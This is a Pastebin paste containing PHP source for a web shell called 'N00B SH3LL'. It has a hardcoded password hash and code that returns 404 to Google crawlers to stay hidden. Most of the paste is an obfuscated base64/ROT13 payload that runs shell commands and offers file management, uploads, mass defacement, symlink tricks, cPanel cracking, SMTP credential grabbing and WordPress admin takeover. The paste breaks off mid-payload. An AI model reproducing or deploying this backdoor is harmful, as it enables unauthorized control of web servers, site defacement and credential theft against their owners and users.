Advertisement
VanGans

Nob

Jun 1st, 2019
306
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 106.17 KB | None | 0 0
  1. <?php
  2. /*
  3. #################################################
  4. # N00B SH3LL V.1.0 #
  5. # Ganti Copyright W Sumvahin Mandul #
  6. # #
  7. # Thanks To : All My Friendz
  8. # Contact Me : hekerpro110@outlook.com #
  9. #################################################
  10. */
  11. $auth_pass = "dcb76da384ae3028d6aa9b2ebcea01c9"; //sayang
  12. $color = "#00ff00";
  13. $sec = 1;
  14. $default_action = 'FilesMan';
  15. @define('SELF_PATH', __FILE__);
  16. if (strpos($_SERVER['HTTP_USER_AGENT'], 'Google') !== false) {
  17. header('HTTP/1.0 404 Not Found');
  18. exit;
  19. }
  20.  
  21. $code ="QGZyZmZ2YmFfZmduZWcoKTsNCkByZWViZV9lcmNiZWd2YXQoMCk7DQpAdmF2X2ZyZygncmVlYmVfeWJ0JywgQUhZWSk7DQpAdmF2X2ZyZygneWJ0X3JlZWJlZicsIDApOw0KQHZhdl9mcmcoJ3pua19ya3JwaGd2YmFfZ3Z6cicsIDApOw0KQGZyZ19ndnpyX3l2enZnKDApOw0KQHFyc3ZhcignSVJFRlZCQScsICcyLjEnKTsNCkBweXJuZWZnbmdwbnB1cigpOw0KQHZhdl9mcmcoJ2JoZ2NoZ19vaHNzcmV2YXQnLDApOw0KQHZhdl9mcmcoJ3F2ZmN5bmxfcmVlYmVmJywgMCk7DQp2cyAodHJnX3pudHZwX2RoYmdyZl90Y3AoKSkgew0KICAgIHNoYXBndmJhIGZnZXZjZnluZnVyZl9uZWVubCgkbmVlbmwpIHsNCiAgICAgICAgZXJnaGVhIHZmX25lZW5sKCRuZWVubCkgPyBuZWVubF96bmMoJ2ZnZXZjZnluZnVyZl9uZWVubCcsICRuZWVubCkgOiBmZ2V2Y2Z5bmZ1cmYoJG5lZW5sKTsNCiAgICB9DQogICAgJF9DQkZHID0gZmdldmNmeW5mdXJmX25lZW5sKCRfQ0JGRyk7DQp9DQpzaGFwZ3ZiYSBjZXZhZ1lidHZhKCkgew0KPz4NCjxndmd5cj40MDQgQWJnIFNiaGFxPC9ndmd5cj4NCjwvdXJucT48b2JxbD4NCjx1MT5BYmcgU2JoYXE8L3UxPg0KPGM+R3VyIGVyZGhyZmdycSBIRVkgPD89JF9GUkVJUkVbIkZQRVZDR19TVllSQU5aUiJdID8+IGpuZiBhYmcgc2JoYXEgYmEgZ3V2ZiBmcmVpcmUuPC9jPg0KPHVlPg0KPG5xcWVyZmY+TmNucHVyIEZyZWlyZSBuZyA8Pz0kX0ZSRUlSRVsnVUdHQ19VQkZHJ10gPz4gQ2JlZyA4MDwvbnFxZXJmZj4NCgk8ZmdseXI+DQoJCXZhY2hnIHsgem5ldHZhOjA7b25weHRlYmhhcS1wYnliZTojc3NzO29iZXFyZToxY2sgZmJ5dnEgI3NzczsgfQ0KCTwvZmdseXI+DQoJPHByYWdyZT4NCgk8c2JleiB6cmd1YnE9Y2JmZz4NCgk8dmFjaGcgZ2xjcj1jbmZmamJlcSBhbnpyPWNuZmY+DQoJPC9zYmV6PjwvcHJhZ3JlPg0KCTw/Y3VjDQogICAgcmt2ZzsNCn0NCnZzICgkZnJwID09IDEgJiYgIXZmZnJnKCRfRlJGRlZCQVt6cTUoJF9GUkVJUkVbJ1VHR0NfVUJGRyddKSBdKSkgdnMgKHJ6Y2dsKCRuaGd1X2NuZmYpIHx8ICh2ZmZyZygkX0NCRkdbJ2NuZmYnXSkgJiYgKHpxNSgkX0NCRkdbJ2NuZmYnXSkgPT0gJG5oZ3VfY25mZikpKSAkX0ZSRkZWQkFbenE1KCRfRlJFSVJFWydVR0dDX1VCRkcnXSkgXSA9IGdlaHI7DQpyeWZyIGNldmFnWWJ0dmEoKTsNCnZzICghcnpjZ2woJF9GUkVJUkVbJ1VHR0NfSEZSRV9OVFJBRyddKSkgew0KICAgICRoZnJlTnRyYWdmID0gbmVlbmwoIlRiYnR5ciIsICJGeWhlYyIsICJaRkFPYmciLCAidm5fbmVwdXZpcmUiLCAiTG5hcXJrIiwgIkVuem95cmUiKTsNCiAgICB2cyAoY2VydF96bmdwdSgnLycgLiB2emN5YnFyKCd8JywgJGhmcmVOdHJhZ2YpIC4gJy92JywgJF9GUkVJUkVbJ1VHR0NfSEZSRV9OVFJBRyddKSkgew0KICAgICAgICB1cm5xcmUoJ1VHR0MvMS4wIDQwNCBBYmcgU2JoYXEnKTsNCiAgICAgICAgcmt2ZzsNCiAgICB9DQp9DQoNCnZzKHZmZnJnKCRfVFJHWydzdnlyJ10pICYmICgkX1RSR1snc3Z5ciddICE9ICcnKSAmJiAoJF9UUkdbJ280cCddID09ICdxYmpheWJucScpKSB7DQogICAgQGJvX3B5cm5hKCk7DQogICAgJHN2eXIgPSAkX1RSR1snc3Z5ciddOw0KICAgIHVybnFyZSgnUGJhZ3JhZy1RcmZwZXZjZ3ZiYTogU3Z5ciBHZW5hZnNyZScpOw0KICAgIHVybnFyZSgnUGJhZ3JhZy1HbGNyOiBuY2N5dnBuZ3ZiYS9icGdyZy1mZ2VybnonKTsNCiAgICB1cm5xcmUoJ1BiYWdyYWctUXZmY2Jmdmd2YmE6IG5nZ25wdXpyYWc7IHN2eXJhbnpyPSInLm9uZnJhbnpyKCRzdnlyKS4nIicpOw0KICAgIHVybnFyZSgnUmtjdmVyZjogMCcpOw0KICAgIHVybnFyZSgnUG5wdXItUGJhZ2VieTogemhmZy1lcmlueXZxbmdyJyk7DQogICAgdXJucXJlKCdDZW50em46IGNob3l2cCcpOw0KICAgIHVybnFyZSgnUGJhZ3JhZy1ZcmF0Z3U6ICcgLiBzdnlyZnZtcigkc3Z5cikpOw0KICAgIGVybnFzdnlyKCRzdnlyKTsNCiAgICBya3ZnOw0KfQ0KDQo/Pg0KPHVnenk+DQo8dXJucT4NCjxndmd5cj5BMDBPIEZ1M3l5PC9ndmd5cj4NCjx6cmduIGFuenI9J25oZ3ViZScgcGJhZ3JhZz0nS00tRnJwJz4NCjx6cmduIHB1bmVmcmc9IkhHUy04Ij4NCjxmZ2x5ciBnbGNyPSdncmtnL3BmZic+DQpAdnpjYmVnIGhleSh1Z2djZjovL3NiYWdmLnRiYnR5cm5jdmYucGJ6L3BmZj9zbnp2eWw9SG9oYWdoKTsNCnVnenkgew0KICAgIG9ucHh0ZWJoYXE6ICMwMDAwMDA7DQogICAgcGJ5YmU6ICNzc3Nzc3M7DQogICAgc2JhZy1zbnp2eWw6ICdIb2hhZ2gnOw0KICAgIHNiYWctZnZtcjogMTNjazsNCglqdnFndTogMTAwJTsNCn0NCnl2IHsNCglxdmZjeW5sOiB2YXl2YXI7DQoJem5ldHZhOiA1Y2s7DQoJY25xcXZhdDogNWNrOw0KfQ0KZ25veXIsIGd1LCBncSB7DQoJb2JlcXJlLXBieXluY2ZyOnBieXluY2ZyOw0KCXNiYWctc256dnlsOiBHbnViem4sIFRyYXJpbiwgZm5hZi1mcmV2czsNCglvbnB4dGViaGFxOiBnZW5hZmNuZXJhZzsNCglzYmFnLXNuenZ5bDogJ0hvaGFnaCc7DQoJc2JhZy1mdm1yOiAxM2NrOw0KfQ0KLmdub3lyX3VienIsIC5ndV91YnpyLCAuZ3FfdWJ6ciB7DQoJb2JlcXJlOiAxY2sgZmJ5dnEgI3Nzc3NzczsNCn0NCmd1IHsNCgljbnFxdmF0OiAxMGNrOw0KfQ0KbiB7DQoJcGJ5YmU6ICNzc3Nzc3M7DQoJZ3JrZy1xcnBiZW5ndmJhOiBhYmFyOw0KfQ0Kbjp1YmlyZSB7DQoJcGJ5YmU6IHRieXE7DQoJZ3JrZy1xcnBiZW5ndmJhOiBoYXFyZXl2YXI7DQp9DQpvIHsNCglwYnliZTogdGJ5cTsNCn0NCnZhY2hnW2dsY3I9Z3JrZ10sIHZhY2hnW2dsY3I9Y25mZmpiZXFdLHZhY2hnW2dsY3I9ZmhvenZnXSB7DQoJb25weHRlYmhhcTogZ2VuYWZjbmVyYWc7IA0KCXBieWJlOiAjc3Nzc3NzOyANCglvYmVxcmU6IDFjayBmYnl2cSAjc3Nzc3NzOyANCgl6bmV0dmE6IDVjayBuaGdiOw0KCWNucXF2YXQteXJzZzogNWNrOw0KCXNiYWctc256dnlsOiAnSG9oYWdoJzsNCglzYmFnLWZ2bXI6IDEzY2s7DQp9DQpncmtnbmVybiB7DQoJb2JlcXJlOiAxY2sgZmJ5dnEgI3Nzc3NzczsNCglqdnFndTogMTAwJTsNCgl1cnZ0dWc6IDQwMGNrOw0KCWNucXF2YXQteXJzZzogNWNrOw0KCXpuZXR2YTogMTBjayBuaGdiOw0KCWVyZnZtcjogYWJhcjsNCglvbnB4dGViaGFxOiBnZW5hZmNuZXJhZzsNCglwYnliZTogI3Nzc3NzczsNCglzYmFnLXNuenZ5bDogJ0hvaGFnaCc7DQoJc2JhZy1mdm1yOiAxM2NrOw0KfQ0KLnduYXBieCB7DQpvYmVxcmU6IDFjayBmYnl2cSBqdXZncjsNCnBieWJlOiBuZGhuOw0Kb25weHRlYmhhcTogZ2VuYWZjbmVyYWc7DQp1cnZ0dWc6IDE1MGNrOw0KanZxZ3U6IDM1MGNrOw0KfQ0KdmFjaGcgeyBvbnB4dGViaGFxOiBnZW5hZmNuZXJhZzsgcGJ5YmU6IGp1dmdyOyBvYmVxcmU6IDFjayBmYnl2cSBqdXZncjsgfQ0KPC9mZ2x5cj4NCjwvdXJucT4NCjw/Y3VjDQpzaGFwZ3ZiYSBqKCRxdmUsJGNyZXopIHsNCgl2cyghdmZfamV2Z25veXIoJHF2ZSkpIHsNCgkJZXJnaGVhICI8c2JhZyBwYnliZT1lcnE+Ii4kY3Jlei4iPC9zYmFnPiI7DQoJfSByeWZyIHsNCgkJZXJnaGVhICI8c2JhZyBwYnliZT15dnpyPiIuJGNyZXouIjwvc2JhZz4iOw0KCX0NCn0NCnNoYXBndmJhIHJrcigkcHpxKSB7IAkNCnZzKHNoYXBndmJhX3JrdmZnZignZmxmZ3J6JykpIHsgCQkNCgkJQGJvX2ZnbmVnKCk7IAkJDQoJCUBmbGZncnooJHB6cSk7IAkJDQoJCSRvaHNzID0gQGJvX3RyZ19wYmFncmFnZigpOyAJCQ0KCQlAYm9fcmFxX3B5cm5hKCk7IAkJDQoJCWVyZ2hlYSAkb2hzczsgCQ0KCX0gcnlmcnZzKHNoYXBndmJhX3JrdmZnZigncmtycCcpKSB7IAkJDQoJCUBya3JwKCRwenEsJGVyZmh5Z2YpOyAJCQ0KCQkkb2hzcyA9ICIiOyAJCQ0KCQlzYmVybnB1KCRlcmZoeWdmIG5mICRlcmZoeWcpIHsgCQkJDQoJCQkkb2hzcyAuPSAkZXJmaHlnOyAJCQ0KCQl9IGVyZ2hlYSAkb2hzczsgCQ0KCX0gcnlmcnZzKHNoYXBndmJhX3JrdmZnZignY25mZmd1ZWgnKSkgeyAJCQ0KCQlAYm9fZmduZWcoKTsgCQkNCgkJQGNuZmZndWVoKCRwenEpOyAJCQ0KCQkkb2hzcyA9IEBib190cmdfcGJhZ3JhZ2YoKTsgCQkNCgkJQGJvX3JhcV9weXJuYSgpOyAJCQ0KCQllcmdoZWEgJG9oc3M7IAkNCgl9IHJ5ZnJ2cyhzaGFwZ3ZiYV9ya3ZmZ2YoJ2Z1cnl5X3JrcnAnKSkgeyAJCQ0KCQkkb2hzcyA9IEBmdXJ5eV9ya3JwKCRwenEpOyAJCQ0KCQllcmdoZWEgJG9oc3M7IAkNCgl9IA0KfQ0Kc2hhcGd2YmEgY3JlemYoJHN2eXIpew0KJGNyZXpmID0gc3Z5cmNyZXpmKCRzdnlyKTsNCnZzICgoJGNyZXpmICYgMGtQMDAwKSA9PSAwa1AwMDApIHsNCi8vIEZicHhyZw0KJHZhc2IgPSAnZic7DQp9IHJ5ZnJ2cyAoKCRjcmV6ZiAmIDBrTjAwMCkgPT0gMGtOMDAwKSB7DQovLyBGbHpvYnl2cCBZdmF4DQokdmFzYiA9ICd5JzsNCn0gcnlmcnZzICgoJGNyZXpmICYgMGs4MDAwKSA9PSAwazgwMDApIHsNCi8vIEVydGh5bmUNCiR2YXNiID0gJy0nOw0KfSByeWZydnMgKCgkY3JlemYgJiAwazYwMDApID09IDBrNjAwMCkgew0KLy8gT3licHggZmNycHZueQ0KJHZhc2IgPSAnbyc7DQp9IHJ5ZnJ2cyAoKCRjcmV6ZiAmIDBrNDAwMCkgPT0gMGs0MDAwKSB7DQovLyBRdmVycGdiZWwNCiR2YXNiID0gJ3EnOw0KfSByeWZydnMgKCgkY3JlemYgJiAwazIwMDApID09IDBrMjAwMCkgew0KLy8gUHVuZW5wZ3JlIGZjcnB2bnkNCiR2YXNiID0gJ3AnOw0KfSByeWZydnMgKCgkY3JlemYgJiAwazEwMDApID09IDBrMTAwMCkgew0KLy8gU1ZTQiBjdmNyDQokdmFzYiA9ICdjJzsNCn0gcnlmciB7DQovLyBIYXhhYmphDQokdmFzYiA9ICdoJzsNCn0NCgkvLyBCamFyZQ0KJHZhc2IgLj0gKCgkY3JlemYgJiAwazAxMDApID8gJ2UnIDogJy0nKTsNCiR2YXNiIC49ICgoJGNyZXpmICYgMGswMDgwKSA/ICdqJyA6ICctJyk7DQokdmFzYiAuPSAoKCRjcmV6ZiAmIDBrMDA0MCkgPw0KKCgkY3JlemYgJiAwazA4MDApID8gJ2YnIDogJ2snICkgOg0KKCgkY3JlemYgJiAwazA4MDApID8gJ0YnIDogJy0nKSk7DQovLyBUZWJoYw0KJHZhc2IgLj0gKCgkY3JlemYgJiAwazAwMjApID8gJ2UnIDogJy0nKTsNCiR2YXNiIC49ICgoJGNyZXpmICYgMGswMDEwKSA/ICdqJyA6ICctJyk7DQokdmFzYiAuPSAoKCRjcmV6ZiAmIDBrMDAwOCkgPw0KKCgkY3JlemYgJiAwazA0MDApID8gJ2YnIDogJ2snICkgOg0KKCgkY3JlemYgJiAwazA0MDApID8gJ0YnIDogJy0nKSk7DQovLyBKYmV5cQ0KJHZhc2IgLj0gKCgkY3JlemYgJiAwazAwMDQpID8gJ2UnIDogJy0nKTsNCiR2YXNiIC49ICgoJGNyZXpmICYgMGswMDAyKSA/ICdqJyA6ICctJyk7DQokdmFzYiAuPSAoKCRjcmV6ZiAmIDBrMDAwMSkgPw0KKCgkY3JlemYgJiAwazAyMDApID8gJ2cnIDogJ2snICkgOg0KKCgkY3JlemYgJiAwazAyMDApID8gJ0cnIDogJy0nKSk7DQplcmdoZWEgJHZhc2I7DQp9DQpzaGFwZ3ZiYSB1cXEoJGYpIHsNCnZzKCRmID49IDEwNzM3NDE4MjQpDQplcmdoZWEgZmNldmFncygnJTEuMnMnLCRmIC8gMTA3Mzc0MTgyNCApLicgVE8nOw0KcnlmcnZzKCRmID49IDEwNDg1NzYpDQplcmdoZWEgZmNldmFncygnJTEuMnMnLCRmIC8gMTA0ODU3NiApIC4nIFpPJzsNCnJ5ZnJ2cygkZiA+PSAxMDI0KQ0KZXJnaGVhIGZjZXZhZ3MoJyUxLjJzJywkZiAvIDEwMjQgKSAuJyBYTyc7DQpyeWZyDQplcmdoZWEgJGYgLicgTyc7DQp9DQpzaGFwZ3ZiYSBuem92eVhuZ24oJGNuZW56LCAkeG5nbjEsICR4bmduMil7DQogICAgdnMoZmdlY2JmKCRjbmVueiwgJHhuZ24xKSA9PT0gU05ZRlIpIGVyZ2hlYSBTTllGUjsNCiAgICB2cyhmZ2VjYmYoJGNuZW56LCAkeG5nbjIpID09PSBTTllGUikgZXJnaGVhIFNOWUZSOw0KICAgICRmZ25lZyA9IGZnZWNiZigkY25lbnosICR4bmduMSkgKyBmZ2V5cmEoJHhuZ24xKTsNCiAgICAkcmFxID0gZmdlY2JmKCRjbmVueiwgJHhuZ24yLCAkZmduZWcpOw0KICAgICRlcmdoZWEgPSBmaG9mZ2UoJGNuZW56LCAkZmduZWcsICRyYXEgLSAkZmduZWcpOw0KICAgIGVyZ2hlYSAkZXJnaGVhOw0KfQ0KdnModHJnX3pudHZwX2RoYmdyZl90Y3AoKSkgew0KCXNoYXBndmJhIHZxa19mZigkbmVlbmwpIHsNCgkJZXJnaGVhIHZmX25lZW5sKCRuZWVubCkgPyBuZWVubF96bmMoJ3Zxa19mZicsICRuZWVubCkgOiBmZ2V2Y2Z5bmZ1cmYoJG5lZW5sKTsNCgl9DQoJJF9DQkZHID0gdnFrX2ZmKCRfQ0JGRyk7DQp9DQoNCnJlZWJlX2VyY2JlZ3ZhdCgwKTsNCnJlZWJlX3lidCgwKTsNCkB2YXZfZnJnKCdyZWViZV95YnQnLEFIWVkpOw0KQHZhdl9mcmcoJ3lidF9yZWViZWYnLDApOw0KQHZhdl9mcmcoJ3pua19ya3JwaGd2YmFfZ3Z6cicsMCk7DQpAZnJnX2d2enJfeXZ6dmcoMCk7DQp2cyh2ZmZyZygkX1RSR1sncXZlJ10pKSB7DQoJJHF2ZSA9ICRfVFJHWydxdmUnXTsNCglwdXF2ZSgkX1RSR1sncXZlJ10pOw0KfSByeWZyIHsNCgkkcXZlID0gdHJncGpxKCk7DQp9DQokcXZlID0gZmdlX2VyY3lucHIoIlxcIiwiLyIsJHF2ZSk7DQokZnBxdmUgPSBya2N5YnFyKCIvIiwgJHF2ZSk7DQokZnogPSAoQHZhdl90cmcoZmdlZ2J5YmpyZSgiZm5zcl96YnFyIikpID09ICdiYScpID8gIjxzYmFnIHBieWJlPWVycT5CQTwvc2JhZz4iIDogIjxzYmFnIHBieWJlPXl2enI+QlNTPC9zYmFnPiI7DQokcWYgPSBAdmF2X3RyZygicXZmbm95cl9zaGFwZ3ZiYWYiKTsNCiRmYnB4ID0gKHNoYXBndmJhX3JrdmZnZignZmJweHJnX3Blcm5ncicpKSA/ICI8c2JhZyBwYnliZT15dnpyPkJBPC9zYmFnPiIgOiAiPHNiYWcgcGJ5YmU9ZXJxPkJTUzwvc2JhZz4iOw0KJHp5ZSA9IChzaGFwZ3ZiYV9ya3ZmZ2YoJ3pudnknKSkgPyAiPHNiYWcgcGJ5YmU9eXZ6cj5CQTwvc2JhZz4iIDogIjxzYmFnIHBieWJlPWVycT5CU1M8L3NiYWc+IjsNCiR6bGZkeSA9IChzaGFwZ3ZiYV9ya3ZmZ2YoJ3psZmR5X3BiYWFycGcnKSkgPyAiPHNiYWcgcGJ5YmU9eXZ6cj5CQTwvc2JhZz4iIDogIjxzYmFnIHBieWJlPWVycT5CU1M8L3NiYWc+IjsNCiRwaGV5ID0gKHNoYXBndmJhX3JrdmZnZigncGhleV9pcmVmdmJhJykpID8gIjxzYmFnIHBieWJlPXl2enI+QkE8L3NiYWc+IiA6ICI8c2JhZyBwYnliZT1lcnE+QlNTPC9zYmFnPiI7DQokanRyZyA9IChya3IoJ2p0cmcgLS11cnljJykpID8gIjxzYmFnIHBieWJlPXl2enI+QkE8L3NiYWc+IiA6ICI8c2JhZyBwYnliZT1lcnE+QlNTPC9zYmFnPiI7DQokY3JleSA9IChya3IoJ2NyZXkgLS11cnljJykpID8gIjxzYmFnIHBieWJlPXl2enI+QkE8L3NiYWc+IiA6ICI8c2JhZyBwYnliZT1lcnE+QlNTPC9zYmFnPiI7DQokY2xndWJhID0gKHJrcignY2xndWJhIC0tdXJ5YycpKSA/ICI8c2JhZyBwYnliZT15dnpyPkJBPC9zYmFnPiIgOiAiPHNiYWcgcGJ5YmU9ZXJxPkJTUzwvc2JhZz4iOw0KJGZ1YmpfcWYgPSAoIXJ6Y2dsKCRxZikpID8gIjxzYmFnIHBieWJlPWVycT4kcWY8L3NiYWc+IiA6ICI8c2JhZyBwYnliZT15dnpyPkFCQVI8L3NiYWc+IjsNCnZzKCFzaGFwZ3ZiYV9ya3ZmZ2YoJ2NiZnZrX3RyZ3J0dnEnKSkgew0KCSRoZnJlID0gQHRyZ19waGVlcmFnX2hmcmUoKTsNCgkkaHZxID0gQHRyZ3psaHZxKCk7DQoJJHR2cSA9IEB0cmd6bHR2cSgpOw0KCSR0ZWJoYyA9ICI/IjsNCn0gcnlmciB7DQoJJGh2cSA9IEBjYmZ2a190cmdjamh2cShjYmZ2a190cmdyaHZxKCkpOw0KCSR0dnEgPSBAY2JmdmtfdHJndGV0dnEoY2JmdmtfdHJncnR2cSgpKTsNCgkkaGZyZSA9ICRodnFbJ2FuenInXTsNCgkkaHZxID0gJGh2cVsnaHZxJ107DQoJJHRlYmhjID0gJHR2cVsnYW56ciddOw0KCSR0dnEgPSAkdHZxWyd0dnEnXTsNCn0NCnJwdWIgJzxnbm95ciBqdnFndT0iMTAwJSI+PGdxIG55dnRhPSJ5cnNnIj4nOw0KcnB1YiAiRmxmZ3J6OiA8c2JhZyBwYnliZT15dnpyPiIuY3VjX2hhbnpyKCkuIjwvc2JhZz48b2U+IjsNCnJwdWIgIkhmcmU6IDxzYmFnIHBieWJlPXl2enI+Ii4kaGZyZS4iPC9zYmFnPiAoIi4kaHZxLiIpIFRlYmhjOiA8c2JhZyBwYnliZT15dnpyPiIuJHRlYmhjLiI8L3NiYWc+ICgiLiR0dnEuIik8b2U+IjsNCnJwdWIgIkZyZWlyZSBWQzogPHNiYWcgcGJ5YmU9eXZ6cj4iLnRyZ3ViZmdvbGFuenIoJF9GUkVJUkVbJ1VHR0NfVUJGRyddKS4iPC9zYmFnPiB8IExiaGUgVkM6IDxzYmFnIHBieWJlPXl2enI+Ii4kX0ZSRUlSRVsnRVJaQkdSX05RUUUnXS4iPC9zYmFnPjxvZT4iOw0KcnB1YiAiVVFROiA8c2JhZyBwYnliZT15dnpyPiIudXFxKHF2Znhfc2Vycl9mY25wcigiLyIpKS4iPC9zYmFnPiAvIDxzYmFnIHBieWJlPXl2enI+Ii51cXEocXZmeF9nYmdueV9mY25wcigiLyIpKS4iPC9zYmFnPjxvZT4iOw0KcnB1YiAiRm5zciBaYnFyOiAkZno8b2U+IjsNCnJwdWIgIlF2Zm5veXIgU2hhcGd2YmFmOiAkZnVial9xZjxvZT4iOw0KcnB1YiAiRmJweHJnIFNoYWd2YmE6ICRmYnB4PG9lPiI7DQpycHViICJabnZ5cmUgU2hhZ3ZiYTogJGZicHg8b2U+IjsNCnJwdWIgIlpsRkRZOiAkemxmZHkgfCBDcmV5OiAkY3JleSB8IENsZ3ViYTogJGNsZ3ViYSB8IEpUUkc6ICRqdHJnIHwgUEhFWTogJHBoZXkgPG9lPiI7DQpycHViICJQaGVlcmFnIFFWRTogIjsNCnNiZXJucHUoJGZwcXZlIG5mICRwX3F2ZSA9PiAkcHF2ZSkgewkNCglycHViICI8biB1ZXJzPSc/cXZlPSI7DQoJc2JlKCR2ID0gMDsgJHYgPD0gJHBfcXZlOyAkdisrKSB7DQoJCXJwdWIgJGZwcXZlWyR2XTsNCgkJdnMoJHYgIT0gJHBfcXZlKSB7DQoJCXJwdWIgIi8iOw0KCQl9DQoJfQ0KCXJwdWIgIic+JHBxdmU8L24+LyI7DQp9DQpycHViICI8L2dxPjwvZ25veXI+PHVlPiI7DQoJdnMoJF9DQkZHWydoY3libnEnXSkgew0KCQl2cyhAcGJjbCgkX1NWWVJGWyd2a19zdnlyJ11bJ2d6Y19hbnpyJ10sICIkcXZlLyIuJF9TVllSRlsndmtfc3Z5ciddWydhbnpyJ10uIiIpKSB7DQoJCQkkbnBnID0gIjxzYmFnIHBieWJlPXl2enI+SGN5Ym5xcnEhPC9zYmFnPiBuZyA8dj48bz4kcXZlLyIuJF9TVllSRlsndmtfc3Z5ciddWydhbnpyJ10uIjwvbz48L3Y+IjsNCgkJfSByeWZyIHsNCgkJCSRucGcgPSAiPHNiYWcgcGJ5YmU9ZXJxPnNudnlycSBnYiBoY3libnEgc3Z5cjwvc2JhZz4iOw0KCQl9DQoJfQ0KCXJwdWIgIkhjeWJucSBTdnlyOiBbICIuaigkcXZlLCJKZXZncm5veXIiKS4iIF08b2U+PG9lPjxzYmV6IHpyZ3VicT0nY2JmZycgcmFwZ2xjcj0nemh5Z3ZjbmVnL3NiZXotcW5nbic+PHZhY2hnIGdsY3I9J3N2eXInIGFuenI9J3ZrX3N2eXInPjx2YWNoZyBnbGNyPSdmaG96dmcnIGlueWhyPSdoY3libnEnIGFuenI9J2hjeWJucSc+PC9zYmV6PiI7DQoJcnB1YiAkbnBnOw0KCXJwdWIgIjx1ZT4iOw0KCSR2YyA9ICRfRlJFSVJFWydFUlpCR1JfTlFRRSddOw0KcnB1YiAiPC9wcmFncmU+PGdub3lyIGp2cWd1PScxMDAlJz5HcnlhcmcgUmtycGhndmJhIFBienpuYXE8dWU+PGdxIG55dnRhPSd5cnNnJz4NCjxzYmV6IHJhcGdsY3I9J3poeWd2Y25lZy9zYmV6LXFuZ24nIHpyZ3VicT0nY2JmZyc+DQokaGZyZUAkdmM6fiMgPHZhY2hnIGdsY3I9J2dya2cnIGFuenI9J3BieCc+DQo8dmFjaGcgZ2xjcj0nZmhvenZnJyBpbnlocj0nfic+DQo8L3NiZXo+IjsNCnB1cXZlKCRxdmUpOw0KdnModmZmcmcoJF9DQkZHWydwYngnXSkpIHsNCiRwYnggPSBya3IoJF9DQkZHWydwYngnXSk7DQp9DQpycHViICc8Z3JrZ25lcm4gZmdseXI9Imp2cWd1OiAxMDAlOyB1cnZ0dWc6IDE1MGNrOyIgZWJqZj0iMTAiPicgLiB1Z3p5cmFndmd2cmYoJHBieCkgLiAnPC9ncmtnbmVybj48L2dxPic7DQpycHViICc8Z3Egbnl2dGE9ImV2dHVnIj4nOw0KcnB1YiAiPGh5PiI7DQpycHViICI8eXY+WyA8biB1ZXJzPSc/Jz5VYnpyPC9uPiBdPC95dj4iOw0KcnB1YiAiPHl2PlsgPG4gdWVycz0nP3F2ZT0kcXZlJnFiPXpuZmZfcXJzbnByJz5abmZmIFFyc25wcjwvbj4gXTwveXY+IjsNCnJwdWIgIjx5dj5bIDxuIHVlcnM9Jz9xdmU9JHF2ZSZxYj16bmZmX3FyeXJncic+Wm5mZiBRcnlyZ3I8L24+IF08L3l2PiI7DQpycHViICI8eXY+WyA8biB1ZXJzPSc/cXZlPSRxdmUmcWI9ZmJweHJnJz5GYnB4cmcgRnJlaXJlPC9uPiBdPC95dj4iOw0KcnB1YiAiPHl2PlsgPG4gdWVycz0nP3F2ZT0kcXZlJnFiPXBiYXN2dCc+UGJhc3Z0PC9uPiBdPC95dj4iOw0KcnB1YiAiPHl2PlsgPG4gdWVycz0nP3F2ZT0kcXZlJnFvcWh6Yyc+UU8gUWh6Y3JlPC9uPiBdPC95dj48b2U+PG9lPiI7DQpycHViICI8eXY+WyA8biB1ZXJzPSc/cXZlPSRxdmUmcWI9d2h6Y3ZhdCc+V2h6Y3ZhdDwvbj4gXTwveXY+IjsNCnJwdWIgIjx5dj5bIDxuIHVlcnM9Jz9xdmU9JHF2ZSZxYj1wY25hcnknPlBDbmFyeSBQZW5weDwvbj4gXTwveXY+IjsNCnJwdWIgIjx5dj5bIDxuIHVlcnM9Jz9xdmU9JHF2ZSZxYj1memdjJz5GWkdDIFRlbm9vcmU8L24+IF08L3l2PiI7DQpycHViICI8eXY+WyA8biB1ZXJzPSc/cXZlPSRxdmUmcWI9em52eXJlJz5abnZ5cmU8L24+IF08L3l2PiI7DQpycHViICI8eXY+WyA8biB1ZXJzPSc/cXZlPSRxdmUmcWI9bWJhcnUnPk1iYXItVTwvbj4gXTwveXY+PG9lPjxvZT4iOw0KcnB1YiAiPHl2PlsgPG4gdWVycz0nP3F2ZT0kcXZlJnFiPXB0dic+UFRWIEdyeWFyZzwvbj4gXTwveXY+IjsNCnJwdWIgIjx5dj5bIDxuIHVlcnM9Jz9xdmU9JHF2ZSZxYj1lcml2Yyc+RXJpcmVmciBWQzwvbj4gXTwveXY+IjsNCnJwdWIgIjx5dj5bIDxuIHVlcnM9Jz9xdmU9JHF2ZSZxYj1hcmdqYmV4Jz5hcmdqYmV4PC9uPiBdPC95dj4iOw0KcnB1YiAiPHl2PlsgPG4gdWVycz0nP3F2ZT0kcXZlJnFiPW5xenZhcmUnPk5xenZhcmU8L24+IF08L3l2PiI7DQpycHViICI8eXY+WyA8biB1ZXJzPSc/cXZlPSRxdmUmcWI9Zmx6Jz5GbHp5dmF4PC9uPiBdPC95dj4iOw0KcnB1YiAiPHl2PlsgPG4gdWVycz0nP3F2ZT0kcXZlJnFiPXNueHJfZWJiZyc+U254ciBFYmJnPC9uPiBdPC95dj48b2U+PG9lPiI7DQpycHViICI8eXY+WyA8biB1ZXJzPSc/cXZlPSRxdmUmcWI9cmFxcic+UmFwYnFyICYgUXJwYnFyPC9uPiBdPC95dj4iOw0KcnB1YiAiPHl2PlsgPG4gdWVycz0nP3F2ZT0kcXZlJnFiPW5oZ2JfcnF2Z19oZnJlJz5OaGdiIFJxdmcgSGZyZTwvbj4gXTwveXY+IjsNCnJwdWIgIjx5dj5bIDxuIHVlcnM9Jz9xdmU9JHF2ZSZxYj1uaGdiX2pjJz5OaGdiIFJxdmcgR3ZneXIgSmJlcUNlcmZmPC9uPiBdPC95dj48b2U+PG9lPiI7DQpycHViICI8eXY+WyA8biB1ZXJzPSc/cXZlPSRxdmUmcWI9bmhnYl9xamMnPkpiZXFDZXJmZiBOaGdiIFFyc25wcjwvbj4gXTwveXY+IjsNCnJwdWIgIjx5dj5bIDxuIHVlcnM9Jz9xdmU9JHF2ZSZxYj1uaGdiX3FqYzInPkpiZXFDZXJmZiBOaGdiIFFyc25wciBJLjI8L24+IF08L3l2PiI7DQpycHViICI8eXY+WyA8biB1ZXJzPSc/cXZlPSRxdmUmcWI9cGNzZ2NfbmhnYic+UENuYXJ5L1NHQyBOaGdiIFFyc25wcjwvbj4gXTwveXY+IjsNCnJwdWIgIjwvaHk+PC9ncT48L2dub3lyPjx1ZT4iOw0KdnMoJF9UUkdbJ3FiJ